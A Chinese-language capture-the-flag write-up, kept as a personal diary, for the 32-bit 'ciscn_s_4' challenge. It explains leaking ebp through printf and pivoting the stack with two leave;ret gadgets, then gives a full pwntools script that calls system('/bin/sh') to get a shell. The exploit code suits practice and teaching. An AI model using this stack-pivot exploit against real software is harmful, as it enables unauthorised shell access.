前言
因为做的时候心态崩了,此wp当个人日记来写了 = =
WP
查看保护:32位程序,开启了nx保护
查看hack函数:
这是
echo flag
,不是
flag.txt
,所以ret到这里不能得到flag
虽然没有用,但是帮我们引入了system函数,就不需要ret2libc了,我们再写入“/bin/sh”构造ROP链就行
查看vuln函数:
可进行两次输入,都是往
&s[ebp-0x28]
里面写内容,那么第二次写会把第一次写的内容覆盖,我们只能写入0x30字节不足以ret到system函数执行system(“/bin/sh”),不得不进行
栈迁移
思路:
首先我们需要寻找一个固定的位置来作为我们的栈迁移位置,也就是执行我们写入的获取shell的代码位置,我们写入的&s在栈中而不是bss段,那么只能从寻找栈中s的地址作为栈迁移地址
如果写入0x30,那么Printf输出的是写入的前0x28个的数据,和0x4字节的
ebp
和0x4字节的
ret
那么可以通过第一个输入点通过自己构造的payload来泄露ebp的值,虽然程序每次运行时的
ebp
会发生变化,但是它
与s的相对位置不会变化
我们可以通过gdb动调找一下栈中s距离ebp的距离,用于表示
&s
的位置,即栈迁移的位置,方便第二次往
ebp
写入其相对地址。
在第二个输入点向s写入执行
system(“/bin/sh”)
的相关指令,利用两次
leave_ret
将栈迁移到s处,执行栈中s地址里的指令,获取shell
调试:“遇事不决,可问动调”
第一次写入“aaaa”
第二次写入“bbbb”
通过不断步入直到第二次输出(
call printf
)指令左右,查看栈内容:
此时“aaaa”已经被覆盖为“bbbb”
$ebp=0xffffd018
&s=0xffffcfe0
计算偏移:
0x38
查看leave_ret指令的地址:
可以用vuln函数和其他函数自带的leave_ret的地址
也可用ROPgadget找到的地址:
解析payload2:
payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh
sys是system函数,返回地址覆盖为‘aaaa’,参数地址为
s + 12
,因为“/bin/sh”写到了第4个位置,一个位置4字节,sys的地址是
sys=s+0*4
那么“/bin/sh”地址就是
s+(4-1)*4
后面就没什么说的了
payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)
构造Exp:
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io=process('./ciscn_s_4')
#io=remote('node4.buuoj.cn',28463)
elf = ELF('./ciscn_s_4')
#libc=("./libc.6.so")
sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)
sys=elf.plt['system']
leave_ret=0x080484b8
#leave_ret=0x080485FD #这个是vuln函数里的指令,一样可以成功
flag=0x0804854B #Virtual flag
ru("What's your name?")
payload=b'a'*0x27+b'b'#设置标志为“b”
sd(payload)
ru("b")#接收到“b”时停止
stack_add=u32(rn(4))-0x38 #再接收4个字符即ebp,解码后-0x38得到s的地址
print(hex(stack_add))
rl()
bin_sh=b"/bin/sh\x00"
#写入的bin/sh 距离s+0x12,实际上system调用的是参数 s + 12 地址的bin/sh
payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh
payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)
#gdb.attach(io)
sd(payload)
#pause()
io.interactive()
注意:
发送时用
io.send()
,不要用io.sendline(),
用了sendline()我自闭了一个小时!一个小时!!!payload没问题,但就是不能get shell !!
因为io.sendline()会多发一个0xa也就是“\n”,我们在构造payload的时候就已经写入了0x30字节大小,多出来的这个0xa会导致程序输入出错,就不能执行正确的结果了= =
运行Exp:
得到flag: